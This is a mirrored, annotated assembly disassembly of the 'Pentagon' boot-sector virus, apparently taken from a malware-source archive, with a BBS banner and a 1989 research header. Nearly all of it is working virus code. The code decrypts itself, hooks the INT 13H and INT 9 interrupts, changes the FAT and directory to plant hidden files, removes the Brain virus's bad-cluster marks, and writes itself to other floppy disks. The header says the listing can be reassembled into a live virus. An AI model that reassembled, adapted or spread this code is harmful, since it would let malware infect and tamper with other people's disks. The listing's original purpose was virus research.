mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
989 lines
28 KiB
NASM
989 lines
28 KiB
NASM
;****************************************************************************;
|
||
; ;
|
||
; -=][][][][][][][][][][][][][][][=- ;
|
||
; -=] P E R F E C T C R I M E [=- ;
|
||
; -=] +31.(o)79.426o79 [=- ;
|
||
; -=] [=- ;
|
||
; -=] For All Your H/P/A/V Files [=- ;
|
||
; -=] SysOp: Peter Venkman [=- ;
|
||
; -=] [=- ;
|
||
; -=] +31.(o)79.426o79 [=- ;
|
||
; -=] P E R F E C T C R I M E [=- ;
|
||
; -=][][][][][][][][][][][][][][][=- ;
|
||
; ;
|
||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||
; ;
|
||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||
; Is. Keep This Code in Responsible Hands! ;
|
||
; ;
|
||
;****************************************************************************;
|
||
page 65,132
|
||
title The 'Pentagon' Virus
|
||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
; º British Computer Virus Research Centre º
|
||
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
|
||
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
|
||
; º º
|
||
; º The 'Pentagon' Virus º
|
||
; º Disassembled by Joe Hirst, March 1989 º
|
||
; º º
|
||
; º Copyright (c) Joe Hirst 1989. º
|
||
; º º
|
||
; º This listing is only to be made available to virus researchers º
|
||
; º or software writers on a need-to-know basis. º
|
||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||
|
||
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||
|
||
; The code section between offsets 59H and C4H (which is normally
|
||
; encrypted) appears to have been separately assemblied using A86.
|
||
|
||
; Virus is possibly an honorary term, at least for this sample,
|
||
; as all attempts to run it have so far failed.
|
||
|
||
; This virus consists of a boot sector and two files.
|
||
; The boot sector is a normal PCDOS 3.20 boot sector with three
|
||
; changes:
|
||
|
||
; 1. The OEM name 'IBM' has been changed to 'HAL'.
|
||
|
||
; 2. The first part of the virus code overwrites 036H to 0C5H.
|
||
|
||
; 3. 100H-122H has been overwritten by a character string.
|
||
|
||
; The name of the first file is the hex character 0F9H. This file
|
||
; contains the rest of the virus code followed by the original boot
|
||
; sector.
|
||
|
||
; The name of the second file is PENTAGON.TXT. This file does not
|
||
; appear to be used in any way or contain any meaningful data.
|
||
|
||
; Both files are created without the aid of DOS, and the first
|
||
; file is accessed by its stored absolute location.
|
||
|
||
; Four different sections of the virus are separately encrypted:
|
||
|
||
; 1. 004AH - 004BH, key 0ABCDH - load decryption key
|
||
|
||
; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector.
|
||
|
||
; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message.
|
||
|
||
; 4. 0800H - 09FFH, key 0FCH - the original boot sector.
|
||
|
||
SEG70 SEGMENT AT 70H
|
||
ASSUME CS:SEG70
|
||
EXIT:
|
||
SEG70 ENDS
|
||
|
||
BOOT SEGMENT AT 0
|
||
|
||
ORG 413H
|
||
BW0413 DW ?
|
||
|
||
ORG 417H
|
||
BB0417 DB ?
|
||
|
||
ORG 51CH
|
||
BW051C DW ?
|
||
|
||
ORG 7C0BH
|
||
DW7C0B DW ?
|
||
|
||
ORG 7C18H
|
||
DW7C18 DW ?
|
||
DW7C1A DW ?
|
||
|
||
ORG 7C2AH
|
||
DB7C2A DB ?
|
||
|
||
ORG 7C37H
|
||
DW7C37 DW ?
|
||
DW7C39 DW ?
|
||
DB7C3B DB ?
|
||
DB7C3C DB ?
|
||
DW7C3D DW ?
|
||
|
||
ORG 7DB7H
|
||
DB7DB7 DB ?
|
||
|
||
ORG 7DFDH
|
||
DB7DFD DB ?
|
||
|
||
ORG 7E00H
|
||
DW7E00 DW ? ; DW008F - Track and sector of rest of code
|
||
DW7E02 DW ? ; DW0091 - Head and drive of rest of code
|
||
DW7E04 DW ? ; DW0093 - Segment address of virus
|
||
|
||
BOOT ENDS
|
||
|
||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||
ASSUME CS:CODE,DS:CODE
|
||
|
||
IF1
|
||
ORG 206H
|
||
BP0095X LABEL NEAR
|
||
ENDIF
|
||
|
||
ORG 0
|
||
START: JMP BP0036
|
||
|
||
DB 'HAL 3.2'
|
||
|
||
DW 512 ; BPB001 - Bytes per sector
|
||
DB 2 ; BPB002 - Sectors per allocation unit
|
||
DW 1 ; BPB003 - Reserved sectors
|
||
DB 2 ; BPB004 - Number of FATs
|
||
DW 112 ; BPB005 - Number of root dir entries
|
||
DW 720 ; BPB006 - Number of sectors
|
||
DB 0FDH ; BPB007 - Media Descriptor
|
||
DW 2 ; BPB008 - Number of sectors per FAT
|
||
DW 9 ; BPB009 - Sectors per track
|
||
DW 2 ; BPB010 - Number of heads
|
||
DW 0 ; BPB011 - Number of hidden sectors (low order)
|
||
BPB012 DW 0 ; Number of hidden sectors (high order)
|
||
|
||
DB 10 DUP (0)
|
||
|
||
HEADNO DB 0
|
||
|
||
; Interrupt 30 (1EH) - Disk parameter table
|
||
|
||
DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0)
|
||
|
||
DB 1, 0
|
||
|
||
BP0036: CLI
|
||
MOV AX,CS ; \ Set SS to CS
|
||
MOV SS,AX ; /
|
||
MOV SP,0F000H ; Set stack pointer
|
||
MOV DS,AX ; Set DS to CS
|
||
STI
|
||
MOV BP,OFFSET BP0044+7C00H
|
||
BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction
|
||
NOP
|
||
DW004A EQU THIS WORD
|
||
MOV DH,0FCH ; Decryption key
|
||
MOV BP,OFFSET BP0059+7C00H ; Decryption start address
|
||
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
|
||
BP0052: XOR [BP+00],DH ; Decrypt a byte
|
||
INC BP ; Next byte
|
||
LOOP BP0052 ; Repeat for all of it
|
||
NOP
|
||
BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction
|
||
MOV AX,BW0413 ; Get RAM size in K
|
||
SUB AX,0005 ; Subtract five K
|
||
MOV BW0413,AX ; Replace amended RAM size
|
||
MOV CL,06 ; Bits to move
|
||
SHL AX,CL ; Convert to segment address
|
||
MOV DW0093+7C00H,AX ; Save segment address
|
||
NOP
|
||
MOV ES,AX ; Set ES to this segment
|
||
XOR DI,DI ; Move to start
|
||
MOV SI,7C00H ; From start of boot sector buffer
|
||
MOV CX,0200H ; Move one sector
|
||
CLD
|
||
REPZ MOVSB ; Move sector to high-core
|
||
NOP
|
||
|
||
; Move next section of code to a safe area
|
||
|
||
MOV DI,200H+7C00H
|
||
MOV SI,OFFSET DW008F+7C00H
|
||
MOV CX,OFFSET DB00C5-DW008F ; Length to move
|
||
PUSH DS ; \ Set ES to DS
|
||
POP ES ; /
|
||
CLD
|
||
REPZ MOVSB ; Copy program section
|
||
JMP BP0095X ; This is BP0095 in new location
|
||
|
||
DW008F DW 0B02H ; Track and sector of rest of code
|
||
DW0091 DW 100H ; Head and drive of rest of code
|
||
DW0093 DW 9EC0H ; Segment address of virus
|
||
|
||
BP0095: MOV CX,0004 ; Number of retries
|
||
BP0098: PUSH CX
|
||
MOV CX,DW7E00 ; Get track and sector number
|
||
MOV DX,DW7E02 ; Get head and drive number
|
||
MOV ES,DW7E04 ; Get buffer segment address
|
||
MOV BX,0200H ; Buffer offset
|
||
MOV AX,0201H ; Read one sector
|
||
INT 13H ; Disk I/O
|
||
JNB BP00B8 ; Branch if no error
|
||
POP CX
|
||
XOR AH,AH ; Reset floppy disk sub-system
|
||
INT 13H ; Disk I/O
|
||
LOOP BP0098 ; Retry
|
||
INT 18H ; Drop into basic
|
||
|
||
BP00B8: POP CX
|
||
MOV AX,OFFSET DW7E04 ; Address segment address
|
||
CLI
|
||
MOV SP,AX ; Point SP at segment address
|
||
STI
|
||
MOV AX,0200H ; \ Address of second section
|
||
PUSH AX ; /
|
||
RETF
|
||
|
||
DB00C5 DB 50H
|
||
|
||
; The rest of this sector is a normal PCDOS 3.20 boot sector
|
||
; which has been overwritten at 100H-122H by a character string
|
||
|
||
DB 61H, 0
|
||
|
||
XOR AH,AH
|
||
INT 16H
|
||
POP SI
|
||
POP DS
|
||
POP [SI]
|
||
|
||
DW00D0 DW 0B06H ; Track and sector numbers
|
||
DW00D2 DW 0100H ; Head and drive numbers
|
||
DB 19H
|
||
|
||
MOV SI,OFFSET DB7DB7
|
||
JMP NEAR PTR DB00C5
|
||
|
||
MOV AX,BW051C
|
||
XOR DX,DX
|
||
DIV DW7C0B
|
||
INC AL
|
||
MOV DB7C3C,AL
|
||
MOV AX,DW7C37
|
||
MOV DW7C3D,AX
|
||
MOV BX,0700H
|
||
MOV AX,DW7C37
|
||
CALL BP0137
|
||
MOV AX,DW7C18
|
||
SUB AL,DB7C3B
|
||
INC AX
|
||
PUSH AX
|
||
|
||
DB '(c) 1987 The Pentagon, Zorell Group'
|
||
|
||
DB 7CH
|
||
JMP FAR PTR EXIT
|
||
|
||
BP0129: LODSB
|
||
OR AL,AL
|
||
JZ BP0150
|
||
MOV AH,0EH
|
||
MOV BX,7
|
||
INT 10H
|
||
JMP BP0129
|
||
|
||
BP0137: XOR DX,DX
|
||
DIV DW7C18
|
||
INC DL
|
||
MOV DB7C3B,DL
|
||
XOR DX,DX
|
||
DIV DW7C1A
|
||
MOV DB7C2A,DL
|
||
MOV DW7C39,AX
|
||
BP0150: RET
|
||
|
||
MOV AH,2
|
||
MOV DX,DW7C39
|
||
MOV CL,6
|
||
SHL DH,CL
|
||
OR DH,DB7C3B
|
||
MOV CX,DX
|
||
XCHG CH,CL
|
||
MOV DL,DB7DFD
|
||
MOV DH,DB7C2A
|
||
INT 13H
|
||
RET
|
||
|
||
DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
|
||
DB 'Replace and strike any key when ready', 0DH, 0AH, 0
|
||
DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
|
||
DB 'IBMBIO COMIBMDOS COM'
|
||
|
||
ORG 01FEH
|
||
DW 0AA55H
|
||
|
||
; Second sector of virus
|
||
|
||
BP0200: CLI
|
||
MOV SP,0F000H ; Reset stack pointer
|
||
STI
|
||
XOR AX,AX ; \ Address zero
|
||
MOV DS,AX ; /
|
||
MOV BX,004CH ; INT 13H jump address
|
||
MOV BP,01A0H ; INT 68H jump address
|
||
CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use
|
||
JE BP0219 ; Branch if not
|
||
JMP BP024E
|
||
|
||
BP0219: MOV AX,[BX] ; Get INT 13H offset
|
||
MOV DS:[BP+0],AX ; Set INT 68H to this offset
|
||
MOV AX,[BX+2] ; Get INT 13H segment
|
||
MOV DS:[BP+2],AX ; Set INT 68H to this segment
|
||
MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine
|
||
MOV AX,CS ; \ Set INT 13H segment
|
||
MOV [BX+2],AX ; /
|
||
MOV BX,0024H ; INT 9 jump address
|
||
MOV BP,01A4H ; INT 69H jump address
|
||
MOV AX,[BX] ; Get INT 9 offset
|
||
MOV DS:[BP],AX ; Set INT 69H to this offset
|
||
MOV AX,[BX+2] ; Get INT 9 segment
|
||
MOV DS:[BP+2],AX ; Set INT 69H to this segment
|
||
MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine
|
||
MOV AX,CS ; \ Set INT 9 segment
|
||
MOV [BX+02],AX ; /
|
||
JMP BP0254
|
||
|
||
BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM
|
||
ADD WORD PTR [BX],5 ; Restore the 5K
|
||
BP0254: MOV BP,OFFSET DW008F ; Address virus pointer
|
||
MOV CX,CS:[BP] ; Get track and sector
|
||
MOV DX,CS:[BP+2] ; Get head and device
|
||
MOV BX,0200H ; Address second sector
|
||
MOV CX,3 ; Three sectors to read
|
||
BP0265: PUSH CX ; Save read count
|
||
MOV AX,0201H ; Read one sector
|
||
MOV CX,CS:[BP] ; Get track and sector
|
||
CALL BP0300 ; Address to next sector
|
||
MOV CS:[BP],CX ; Save new track and sector
|
||
ADD BX,0200H ; Address next buffer area
|
||
CALL BP031B ; Read from disk
|
||
JNB BP0280 ; Branch if no error
|
||
POP CX
|
||
INT 18H ; Drop into basic
|
||
|
||
; Read file, first sector
|
||
|
||
BP0280: POP CX ; Retrieve read count
|
||
LOOP BP0265 ; Repeat for other sectors
|
||
MOV BP,OFFSET DW00D0 ; Address file pointers
|
||
MOV CX,CS:[BP] ; Get track and sector
|
||
MOV DX,CS:[BP+2] ; Get head and drive
|
||
MOV BX,1000H ; Buffer address
|
||
MOV AX,0201H ; Read one sector
|
||
CALL BP031B ; Read from disk
|
||
JNB BP029B ; Branch if no error
|
||
INT 18H ; Drop into basic
|
||
|
||
; Read file, second sector
|
||
|
||
BP029B: CALL BP0300 ; Address to next sector
|
||
ADD BX,0200H ; Update buffer address
|
||
MOV AX,0201H ; Read one sector
|
||
CALL BP031B ; Read from disk
|
||
JNB BP02AC ; Branch if no error
|
||
INT 18H ; Drop into basic
|
||
|
||
BP02AC: LEA CX,DB07E0 ; Address end of encrypted
|
||
LEA BX,DB0791 ; Address start of encrypted
|
||
SUB CX,BX ; Length to decrypt
|
||
MOV AL,0AAH ; Load encryption key
|
||
PUSH CS ; \ Set DS to CS
|
||
POP DS ; /
|
||
CALL BP0315 ; Decrypt
|
||
MOV AX,CS ; \
|
||
MOV ES,AX ; ) Set ES & DS to CS
|
||
MOV DS,AX ; /
|
||
MOV DI,0100H ; Middle of 1st sector
|
||
MOV SI,OFFSET DB07BC ; Address copyright message
|
||
MOV CX,0023H ; Length of copyright message
|
||
REPZ MOVSB ; Copy copyright message
|
||
PUSH CS ; \ Set DS to CS
|
||
POP DS ; /
|
||
MOV CX,0200H ; Length to decrypt
|
||
MOV BX,0800H ; Address boot sector store
|
||
MOV AL,0FCH ; Load encryption key
|
||
CALL BP0315 ; Decrypt
|
||
XOR AX,AX ; \ Segment zero
|
||
MOV ES,AX ; /
|
||
MOV DI,7C00H ; Boot sector buffer
|
||
MOV SI,0800H ; Address boot sector store
|
||
MOV CX,0200H ; Sector length
|
||
CLD
|
||
REPZ MOVSB ; Copy boot sector
|
||
DB 0EAH ; Far jump to boot sector
|
||
DW 7C00H, 0
|
||
|
||
DB 16 DUP (0)
|
||
|
||
; Address to next sector
|
||
|
||
BP0300: INC CL ; Increment sector number
|
||
CMP CL,0AH ; Is it sector ten?
|
||
JL BP0314 ; Branch if not
|
||
MOV CL,1 ; Set sector to one
|
||
INC DH ; Increment head
|
||
CMP DH,2 ; Is it head two?
|
||
JL BP0314 ; Branch if not
|
||
XOR DH,DH ; Set head to zero
|
||
INC CH ; Increment track
|
||
BP0314: RET
|
||
|
||
; Encrypt/decrypt
|
||
|
||
BP0315: XOR [BX],AL ; Encrypt a byte
|
||
INC BX ; Address next byte
|
||
LOOP BP0315 ; Repeat for count
|
||
RET
|
||
|
||
; Read from or write to disk
|
||
|
||
BP031B: PUSH SI
|
||
PUSH DI
|
||
MOV SI,AX ; Save function
|
||
MOV DI,CX ; Save track and sector
|
||
MOV CX,3 ; Number of retries
|
||
BP0324: PUSH CX
|
||
MOV AX,SI ; Retrieve function
|
||
MOV CX,DI ; Retrieve track and sector
|
||
INT 68H ; Disk I/O
|
||
JNB BP0338 ; Branch if no error
|
||
XOR AH,AH ; Reset sub-system
|
||
INT 68H ; Disk I/O
|
||
POP CX ; Retrieve number of retries
|
||
LOOP BP0324 ; Retry
|
||
STC
|
||
JMP BP033B
|
||
|
||
BP0338: POP CX ; Retrieve number of retries
|
||
MOV CX,DI ; Retrieve track and sector
|
||
BP033B: POP DI
|
||
POP SI
|
||
RET
|
||
|
||
; Find unused FAT entry pair
|
||
|
||
BP033E: PUSH AX
|
||
PUSH DX
|
||
PUSH ES
|
||
PUSH DI
|
||
PUSH CS
|
||
POP ES
|
||
MOV DX,CX ; Initial cluster number
|
||
XOR AL,AL ; Search for zero
|
||
BP0348: MOV CX,3 ; Three bytes to check
|
||
MOV DI,BX ; Address FAT entry pair
|
||
REPZ SCASB ; Scan for non-zero
|
||
CMP CX,0 ; Is FAT pair unused
|
||
JE BP0361 ; Branch if yes
|
||
ADD BX,3 ; Address next entry pair
|
||
ADD DX,2 ; Update entry count
|
||
CMP DX,0162H ; Entry 354?
|
||
JLE BP0348 ; Process entry pair if not
|
||
STC
|
||
BP0361: MOV CX,DX ; Cluster number found
|
||
POP DI
|
||
POP ES
|
||
POP DX
|
||
POP AX
|
||
RET
|
||
|
||
; Find and flag an unused entry
|
||
|
||
BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry
|
||
JZ BP0384 ; Branch if unused
|
||
INC CX ; Next entry number
|
||
INC BX ; Address 2nd entry
|
||
TEST WORD PTR [BX],0FFF0H ; Test second FAT entry
|
||
JZ BP038B ; Branch if unused
|
||
INC CX ; Next entry number
|
||
ADD BX,2 ; Address next entry pair
|
||
CMP CX,0163H ; Entry 355?
|
||
JLE BP0368 ; Process next FAT pair if not
|
||
STC
|
||
JMP BP0390
|
||
|
||
BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF
|
||
JMP BP038F
|
||
|
||
BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF
|
||
nop ; ** length adjustment, MASM 5.0
|
||
BP038F: CLC
|
||
BP0390: RET
|
||
|
||
; Unflag Brain virus bad clusters
|
||
|
||
BP0391: PUSH AX
|
||
PUSH BX
|
||
PUSH CX
|
||
PUSH DX
|
||
MOV DX,CX
|
||
BP0397: MOV AX,[BX] ; Get FAT entry
|
||
AND AX,0FFFH ; Isolate FAT entry
|
||
CMP AX,0FF7H ; Bad cluster?
|
||
JE BP03B8 ; Branch if yes
|
||
INC DX ; Add to cluster number
|
||
INC BX ; Address next entry
|
||
MOV AX,[BX] ; Get FAT entry
|
||
MOV CL,4 ; Bits to move
|
||
SHR AX,CL ; Move FAT entry
|
||
CMP AX,0FF7H ; Bad Cluster?
|
||
JE BP03C8 ; Branch if yes
|
||
INC DX ; Add to cluster number
|
||
ADD BX,2 ; Address next pair of entries
|
||
CMP DX,015FH ; Entry 351?
|
||
JLE BP0397 ; Process this pair if not
|
||
BP03B8: MOV WORD PTR [BX],0 ; \
|
||
MOV BYTE PTR [BX+2],0 ; ) Clear three entries
|
||
XOR WORD PTR [BX+3],0FF7H ; /
|
||
JMP BP03D5
|
||
|
||
BP03C8: XOR WORD PTR [BX],0FF7H ; \
|
||
MOV WORD PTR [BX+2],0 ; ) Clear three entries
|
||
MOV BYTE PTR [BX+4],0 ; /
|
||
BP03D5: POP DX
|
||
POP CX
|
||
POP BX
|
||
POP AX
|
||
RET
|
||
|
||
; Convert cluster number to track, head and sector
|
||
|
||
BP03DA: PUSH AX
|
||
PUSH BX
|
||
SUB CX,2 ; Subtract number of 1st cluster
|
||
ADD CX,CX ; Two sectors per cluster
|
||
ADD CX,0CH ; Add sector num of 1st cluster
|
||
MOV AX,CX ; Copy sector number
|
||
PUSH AX ; Save sector number
|
||
MOV BL,9 ; Nine sectors per track
|
||
DIV BL ; Divide by sectors per track
|
||
INC AH ; First sector is one
|
||
MOV CL,AH ; Move sector number
|
||
XOR AH,AH ; Clear top of register
|
||
MOV BL,2 ; Two heads
|
||
DIV BL ; Divide by heads
|
||
MOV DH,AH ; Move head number
|
||
POP AX ; Retrieve sector number
|
||
MOV BL,12H ; 18 sectors per track (both sides)
|
||
DIV BL ; Divide by sectors per track
|
||
MOV CH,AL ; Move track number
|
||
POP BX
|
||
POP AX
|
||
RET
|
||
|
||
; Update directory
|
||
|
||
BP0401: PUSH BX
|
||
PUSH CX
|
||
PUSH DX
|
||
PUSH SI
|
||
PUSH DI
|
||
MOV CX,000FH ; Fifteen entries per sector
|
||
XOR DI,DI ; Start of sector
|
||
CMP AX,7 ; Is this first dir sector
|
||
JNE BP0416 ; Branch if not
|
||
SUB CX,3 ; Subtract three from count
|
||
ADD DI,60H ; Address fourth entry
|
||
BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on?
|
||
JNE BP0443 ; Branch if not
|
||
CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
|
||
JNE BP0443 ; Branch if not
|
||
MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on
|
||
PUSH SI
|
||
PUSH DI
|
||
PUSH CX
|
||
ADD DI,BX ; Add sector address
|
||
LEA SI,DB07B1 ; Address label
|
||
MOV CX,000BH ; Length of new label
|
||
CLD
|
||
REPZ MOVSB ; Copy label
|
||
MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
|
||
POP CX
|
||
POP DI
|
||
POP SI
|
||
BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused?
|
||
JE BP0452 ; Branch if yes
|
||
ADD DI,20H ; Address next entry
|
||
LOOP BP0416 ; Process next entry
|
||
STC
|
||
JMP BP0487
|
||
|
||
BP0452: ADD DI,BX ; Add sector address
|
||
MOV BX,DI ; Move entry address
|
||
MOV BYTE PTR [BX],0F9H ; "Filename"
|
||
MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes
|
||
MOV CX,CS:DW0784 ; Get virus cluster number
|
||
MOV [BX+1AH],CX ; Store starting cluster
|
||
MOV WORD PTR [BX+1CH],0800H ; \ File size 2048
|
||
MOV WORD PTR [BX+1EH],0 ; /
|
||
ADD DI,20H ; Address next entry
|
||
MOV BX,DI ; Move entry address
|
||
LEA SI,DB0791 ; Address start of encrypted
|
||
MOV CX,0020H ; One complete entry to move
|
||
CLD
|
||
REPZ MOVSB ; Move entry
|
||
MOV CX,CS:DW0786 ; Get file cluster number
|
||
MOV [BX+1AH],CX ; Store starting cluster
|
||
CLC
|
||
BP0487: POP DI
|
||
POP SI
|
||
POP DX
|
||
POP CX
|
||
POP BX
|
||
RET
|
||
|
||
; Read actual boot sector - Brain infected
|
||
|
||
BP048D: PUSH AX
|
||
PUSH CX
|
||
PUSH DX
|
||
MOV CX,[BX+7] ; Get track and sector
|
||
MOV DH,[BX+6] ; Get head number
|
||
MOV AX,0201H ; Read one sector
|
||
CALL BP031B ; Read from disk
|
||
POP DX
|
||
POP CX
|
||
POP AX
|
||
RET
|
||
|
||
; Generate a sound
|
||
|
||
BP04A0: MOV BP,1 ; One loop
|
||
MOV AL,0B6H ; Counter two, both bytes, sq wave
|
||
OUT 43H,AL ; Set PIT control register
|
||
MOV AX,0533H ; Sound frequency
|
||
OUT 42H,AL ; Send first byte
|
||
MOV AL,AH ; Get second byte
|
||
OUT 42H,AL ; Send second byte
|
||
IN AL,61H ; Get port B
|
||
MOV AH,AL ; Save port B value
|
||
OR AL,3 ; Set sound bits on
|
||
OUT 61H,AL ; Send port B
|
||
SUB CX,CX ; Maximum loop count
|
||
BP04BA: LOOP BP04BA ; Delay
|
||
DEC BP ; Decrement count of loops
|
||
JNZ BP04BA ; Branch if not zero (it won't be)
|
||
MOV AL,AH ; Recover original port B
|
||
OUT 61H,AL ; Send port B
|
||
RET
|
||
|
||
; Int 13H routine
|
||
|
||
BP04C4: STI
|
||
PUSH AX
|
||
PUSH BX
|
||
PUSH CX
|
||
PUSH DX
|
||
PUSH DS
|
||
PUSH SI
|
||
PUSH ES
|
||
PUSH DI
|
||
MOV CS:DB0790,DL ; Save device
|
||
CMP AH,2 ; Is function a read?
|
||
JE BP04DA ; Branch if yes
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
BP04DA: DEC CS:DB07E0 ; Decrement count
|
||
JZ BP04E4 ; Infect when zero
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
; Get boot sector
|
||
|
||
BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
|
||
PUSH CS ; \
|
||
POP AX ; \ Set DS & ES to CS
|
||
MOV DS,AX ; /
|
||
MOV ES,AX ; /
|
||
MOV BX,0800H ; Address boot sector store
|
||
MOV CX,1 ; Track zero, sector one
|
||
MOV DH,0 ; Head zero
|
||
MOV DL,CS:DB0790 ; Load device
|
||
MOV AX,0201H ; Read one sector
|
||
CALL BP031B ; Read from disk
|
||
JNB BP0508 ; Branch if no error
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
; Check for Brain virus
|
||
|
||
BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector?
|
||
JNE BP051D ; Branch if not
|
||
MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on
|
||
CALL BP048D ; Read actual boot sector
|
||
JNB BP052D ; Branch if no error
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
; Check for Pentagon virus
|
||
|
||
BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
|
||
CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon?
|
||
JNE BP052D ; Branch if not
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
; Check for DOS boot sector
|
||
|
||
BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector
|
||
JE BP0538 ; Branch if yes
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
; Get first FAT sector
|
||
|
||
BP0538: ADD BX,0200H ; Update buffer address
|
||
INC CL ; Next sector
|
||
MOV AX,0201H ; Read one sector
|
||
CALL BP031B ; Read from disk
|
||
JNB BP0549 ; Branch if no error
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
; Check media byte
|
||
|
||
BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk
|
||
JE BP0551 ; Branch if yes
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
; Get second sector of FAT
|
||
|
||
BP0551: ADD BX,0200H ; Update buffer address
|
||
INC CL ; Next sector
|
||
MOV AX,0201H ; Read one sector
|
||
CALL BP031B ; Read from disk
|
||
JNB BP0562 ; Branch if no error
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch
|
||
JNE BP0573 ; Branch if off
|
||
MOV BX,0A03H ; Address first cluster in FAT
|
||
MOV CX,2 ; First cluster is number two
|
||
CALL BP0391 ; Unflag Brain virus bad clusters
|
||
BP0573: MOV BX,0A96H ; \ Start from cluster 100
|
||
MOV CX,0064H ; /
|
||
CALL BP033E ; Find unused FAT entry pair
|
||
JNB BP0581 ; Branch if no error
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
BP0581: MOV CS:DW0784,CX ; Save virus cluster number
|
||
INC CX ; Next cluster number
|
||
MOV [BX],CX ; Put it in first FAT entry
|
||
OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF
|
||
nop ; ** length adjustment, MASM 5.0
|
||
DEC CX ; Set cluster number back
|
||
CALL BP03DA ; Cluster num to trck/hd/sect
|
||
MOV CS:DW0788,CX ; Save virus track & sector
|
||
MOV CS:DW078A,DX ; Save virus head and drive
|
||
PUSH BP
|
||
MOV BP,OFFSET DW008F ; Address virus pointer
|
||
MOV CS:[BP+00],CX ; Save virus track & sector
|
||
MOV CS:[BP+03],DH ; Save virus head
|
||
POP BP
|
||
MOV BX,0A96H ; \ Start from cluster 100
|
||
MOV CX,0064H ; /
|
||
CALL BP0368 ; Find an unused FAT entry
|
||
JNB BP05B7 ; Branch if no error
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
BP05B7: MOV CS:DW0786,CX ; Save file cluster number
|
||
CALL BP03DA ; Cluster num to trck/hd/sect
|
||
MOV CS:DW078C,CX ; Save file track & sector
|
||
MOV CS:DW078E,DX ; Save file head and drive
|
||
PUSH BP
|
||
MOV BP,OFFSET DW00D0 ; Address file pointers
|
||
MOV CS:[BP],CX ; Save track and sector
|
||
MOV CS:[BP+3],DH ; Save head
|
||
POP BP
|
||
MOV AL,0FCH ; Load encryption key
|
||
MOV BX,0800H ; Address boot sector store
|
||
MOV CX,0200H ; Length to encrypt
|
||
CALL BP0315 ; Encrypt/decrypt
|
||
MOV BYTE PTR CS:DB07E0,20H ; Set count to 32
|
||
LEA CX,DB07E0 ; Address end of encrypted
|
||
LEA BX,DB0791 ; Address start of encrypted
|
||
SUB CX,BX ; Length to encrypt
|
||
MOV AL,0AAH ; Load encryption key
|
||
CALL BP0315 ; Encrypt/decrypt
|
||
MOV BX,0200H ; Virus second sector
|
||
MOV AX,0301H ; Write one sector
|
||
MOV CX,CS:DW0788 ; Get virus track & sector
|
||
MOV DX,CS:DW078A ; Get virus head and drive
|
||
MOV DL,CS:DB0790 ; Load device
|
||
CALL BP031B ; Write to disk
|
||
JNB BP0613 ; Branch if no error
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
BP0613: MOV AX,3 ; Three sectors to write
|
||
BP0616: PUSH AX ; Save write count
|
||
ADD BX,0200H ; Next sector buffer
|
||
MOV AX,0301H ; Write one sector
|
||
CALL BP0300 ; Address to next sector
|
||
CALL BP031B ; Write to disk
|
